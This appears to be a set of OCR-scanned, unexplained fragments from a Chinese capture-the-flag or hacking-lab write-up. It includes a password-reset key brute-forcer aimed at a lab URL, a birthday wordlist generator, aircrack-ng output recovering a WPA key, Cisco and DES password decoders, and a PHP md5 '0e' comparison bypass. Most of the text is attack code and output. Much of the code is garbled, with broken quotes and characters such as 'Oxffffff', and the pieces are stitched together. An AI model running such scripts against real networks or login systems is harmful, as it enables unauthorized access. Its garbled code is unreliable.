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var filename=document.getElementByld("file");

var str=filename.value.split(".");

var ext=str[1];
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payload:

import requests
import hashlib
import time

se = requests.session()
headers = {'Cookie". 'PHPSESSID=25443616fac3435849c2f3e77b54a4ca’}

while 1:

sukey = hashlib.new('md5', str(int(time.time()))).hexdigest()

url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey="+ sukey +
'‘&username=admin’

r = se.get(url, headers=headers)

if r.content:

print r.content

break

else:

print 'Cracking: ' + sukey
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with open("password.txt","w") as f:

for year in range(1980,2015):

for month in range(1,13):

for day in range(1,32):
f.write("%d%02d%02d\n" % (year,month,day))
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root@kali:~/Desktop# aircrack-ng wifi-crack.cap
Opening wifi-crack.cap

Read 17812 packets.

# BSSID ESSID Encryption
1 54:E6:FC:53:E6:D0 hackinglab WPA (1 handshake)
Choosing first network as target.

Opening wifi-crack.cap
Please specify a dictionary (option -w).

Quitting aircrack-ng...
K IBSSID,ESSID

root@kali:~/Desktop# aircrack-ng -e hackinglab -b 54:E6:FC:53:E6:D0 -w password.txt wifi-crack.cap
Opening wifi-crack.cap
Reading packets, please wait...

Aircrack-ng 1.2 beta3

[00:00:05] 5436 keys tested (954.82 k/s)

KEY FOUND! [ 19940808 ]

Master Key : 92 DO BF EB 09 69 E7 29 78 85 B4 48 64 20 D9 E9
17 B2 70 20 1B E7 A9 B9 06 27 C6 65 BO 5B 92 FA

Transient Key : 58 1D E4 36 66 67 BASA 76 17 A7 75 34 27 C4 3F
BADO 1A5C 43 6E C1 87 FAAG 07 84 17 AA1B A8
8F 24 B4 6D 54 39 CD 0B BABA 95 63 43 A7 6C E1
4D 1A C117 23 47 F1 3D 9A8C 42 24 5D 8E 24 69

EAPOL HMAC : 02 C8 6C C3 C6 51 2D DC CA 68 ED 8A 5C 9D CE A6
BEF, MDSINE AL
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HE%% cisco_cracki AT B iR

a ="02070D48030F1C294940041801181C0C140D0A0A20253A3B"
crack=cisco_decrypt.CiscoPassword()

crack.decrypt(a)
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‘aishishenmadongxi@Admin'
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# coding=utf-8
from Crypto.Cipher import DES

def decode_char(c):
if c=="a"

r="2

else:

r=c

return ord(r) - ord("!")

def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18

i=0

j=0



for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & Oxffffff

k = decode_char(s]i + 1])

y = (y | k) & Oxffffff
y = (y << 6) & Oxffffff
k = decode_char(s[i + 2])

y = (y | k) & Oxffffff
y = (y << 6) & Oxffffff

k = decode_char(s[i + 3])
y = (y | k) & Oxffffff

out[j+2] = chr(y & Oxff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & Oxff)

j+=3
return

" join(out)

def decrypt_password(p):

r = ascii_to_binary(p)

r=r[:16]

d = DES.new("x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r = d.decrypt(r)

return r.rstrip("\x00")

if _name__ ==' main

miwen = "aK9Q4I)J'#Q="Q MAF4<1!1"
print u'BH 3C' + decrypt_password(miwen)
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from base64 import *

import re

def dfs(res, arr, pos):
res.append(".join(arr))

i = pos

for i in range(i, len(arr)):

if arr[i] <= 'Z' and arr[i] >="A".
arrfi] = arrfi].lower()

dfs(res, arr, i + 1)

arrfi] = arrfi].upper()

arr = list(AGV5IULSB3ZLVSE=")
res =[]



dfs(res, arr, 0)
res_decode = map(b64decode, res)

foriin res_decode:

if re.findall(r'\\x, repr(i)):
continue

else:

print i
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<?php

$flag=FLAG;

if(isset($_POST["password"]){

$password=$ POST['password?;

$rootadmin="11793422703!",

if($password==%rootadmin){die("Please do not attack admin account!");}

if(md5($password)==md5($rootadmin)){
echo $flag;

else{

die("Password Error!");

}
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>>> hashlib.md5("11793422703!").hexdigest()
'0e332932043729729062996282883873'
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serialization::archive 10 25 SaleaeAsyncSerialAnalyzer 0 20 13973230967232177885 119600810100
Async Serial Analyzer BB RN —XH4.
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